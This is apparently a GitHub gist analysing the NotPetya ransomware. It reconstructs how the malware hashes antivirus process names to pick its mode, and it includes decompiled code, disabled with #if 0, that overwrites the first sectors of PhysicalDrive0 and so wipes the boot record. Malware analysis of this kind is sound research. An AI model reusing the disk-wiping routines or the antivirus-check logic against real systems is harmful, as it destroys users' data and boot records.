Petya.2017
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
// | |
// The mysterious command (0x2E214B44) results in the first 10 sectors being wiped out.Or if the original replaceBootSectors() function fails. | |
// | |
// 0x2E214B44 ??? => Mysterious process. Name very close to AVP.exe | |
// Source of below hashes: https://www.carbonblack.com/2017/06/28/carbon-black-threat-research-technical-analysis-petya-notpetya-ransomware/ | |
// 0x2E014B44 (AVP.exe) Kaspersky | |
// 0x651B3005 (NS.exe) Norton Security | |
// 0x6403527E (ccSvcHst.exe) Symantec | |
#define NO_WIPER_MODE 8 | |
#if 0 | |
The mysterious command results in the first 10 sectors being wiped out. Or if the original replaceBootSectors() function fails. | |
void init() | |
{ | |
signed int v0; // esi@1 | |
v0 = 0; | |
if (!dword_1001F114) | |
{ | |
startingTime = GetTickCount(); | |
if (SetTokenPrivilege(L"SeShutdownPrivilege")) | |
v0 = 1; | |
if (SetTokenPrivilege(L"SeDebugPrivilege")) | |
v0 |= 2u; | |
if (SetTokenPrivilege(L"SeTcbPrivilege")) | |
v0 |= 4u; | |
g_TokenPrivileges = v0; | |
g_Mode = getModeBasedOnRansomware(); | |
if (GetModuleFileNameW(Src, &pszPath, 0x30Cu)) | |
sub_10008ACF(); | |
} | |
} | |
int overwriteBootSectors() | |
{ | |
HANDLE v0; // edi@1 | |
HLOCAL v1; // ebx@3 | |
int result; // eax@7 | |
DWORD BytesReturned; // [sp+Ch] [bp-1Ch]@2 | |
char OutBuffer; // [sp+10h] [bp-18h]@2 | |
LONG BytesPerSector; // [sp+24h] [bp-4h]@3 | |
v0 = CreateFileA("\\\\.\\C:", 0x40000000u, 3u, 0, 3u, 0, 0); | |
if (v0) | |
{ | |
if (DeviceIoControl(v0, 0x70000u, 0, 0, &OutBuffer, 0x18u, &BytesReturned, 0)) | |
{ | |
v1 = LocalAlloc(0, 10 * BytesPerSector); | |
if (v1) | |
{ | |
SetFilePointer(v0, BytesPerSector, 0, 0);// pointer at 0x200 (sector 1) | |
WriteFile(v0, v1, BytesPerSector, &BytesReturned, 0);// pointer at erase 0x200 - 0x400 | |
LocalFree(v1); | |
} | |
} | |
CloseHandle(v0); | |
} | |
if (!(g_Mode & 8) || (result = replaceBootSectors()) != 0) | |
result = wipeMode(); | |
return result; | |
} | |
signed int wipeMode() | |
{ | |
HANDLE hDevice; // ebx@1 | |
signed int result; // eax@2 | |
char geometry; // [sp+10h] [bp-20h]@3 | |
int BytesPerSector; // [sp+24h] [bp-Ch]@3 | |
LPCVOID lpBuffer; // [sp+28h] [bp-8h]@3 | |
DWORD BytesReturned; // [sp+2Ch] [bp-4h]@3 | |
hDevice = CreateFileA("\\\\.\\PhysicalDrive0", 0x40000000u, 3u, 0, 3u, 0, 0); | |
if (hDevice) | |
{ | |
DeviceIoControl(hDevice, 0x70000u, 0, 0, &geometry, 0x18u, &BytesReturned, 0);// IOCTL_DISK_GET_DRIVE_GEOMETRY | |
// | |
lpBuffer = LocalAlloc(0, 10 * BytesPerSector); | |
if (lpBuffer) | |
{ | |
DeviceIoControl(hDevice, 0x90020u, 0, 0, 0, 0, &BytesReturned, 0);// FSCTL_DISMOUNT_VOLUME | |
WriteFile(hDevice, lpBuffer, 10 * BytesPerSector, &BytesReturned, 0); | |
LocalFree((HLOCAL)lpBuffer); | |
} | |
CloseHandle(hDevice); | |
result = 1; | |
} | |
else | |
{ | |
result = 0; | |
} | |
return result; | |
} | |
#endif | |
int getHash(LPWSTR processName) | |
{ | |
int command, round, processLen, bitshift, index; | |
char *v4, v5; | |
command = 0x12345678; | |
round = 0; | |
processLen = wcslen(processName); | |
do | |
{ | |
index = 0; | |
if (processLen) | |
{ | |
bitshift = round; | |
do | |
{ | |
v4 = (char *)&command + (bitshift & 3); | |
v5 = (*v4 ^ LOBYTE(processName[index++])) - 1; | |
++bitshift; | |
*v4 = v5; | |
} while (index < processLen); | |
} | |
++round; | |
} while (round < 3); | |
return command; | |
} | |
int | |
getMode( | |
int command | |
) { | |
int mode = -1; | |
if (command == 0x2E214B44) // mysterious command. | |
{ | |
mode &= 0xFFFFFFF7; // keep kill disk flag that will trigger the NO_WIPER_MODE | |
} | |
else if (command == 0x6403527E || command == 0x651B3005) | |
{ | |
mode &= 0xFFFFFFFB; // safe | |
} | |
printf("Hash: 0x%x\n", command); | |
if (!(mode & NO_WIPER_MODE)) { | |
printf("MBR PhysicalDisk0 erased. overwrite10firstsectors()\n"); | |
} | |
else { | |
printf("MBR replacement with the ransomware that display the fake key on screen.\n"); | |
} | |
return mode; | |
} | |
int wmain( | |
int argc, | |
LPWSTR *argv | |
) | |
{ | |
int command; | |
int mode = -1; | |
printf("DISK_GEOMETRY.BytesPerSector at 0x%x\n", FIELD_OFFSET(DISK_GEOMETRY, BytesPerSector)); | |
if (argc >= 2) command = getHash(argv[1]); | |
else command = getHash(L"ccSvcHst.exe"); | |
getMode(command); | |
return false; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The poor hash function also has multiple collisions, for example:
cCSvchst.exe = 0x6403527e
ccSvcHst.exe = 0x6403527e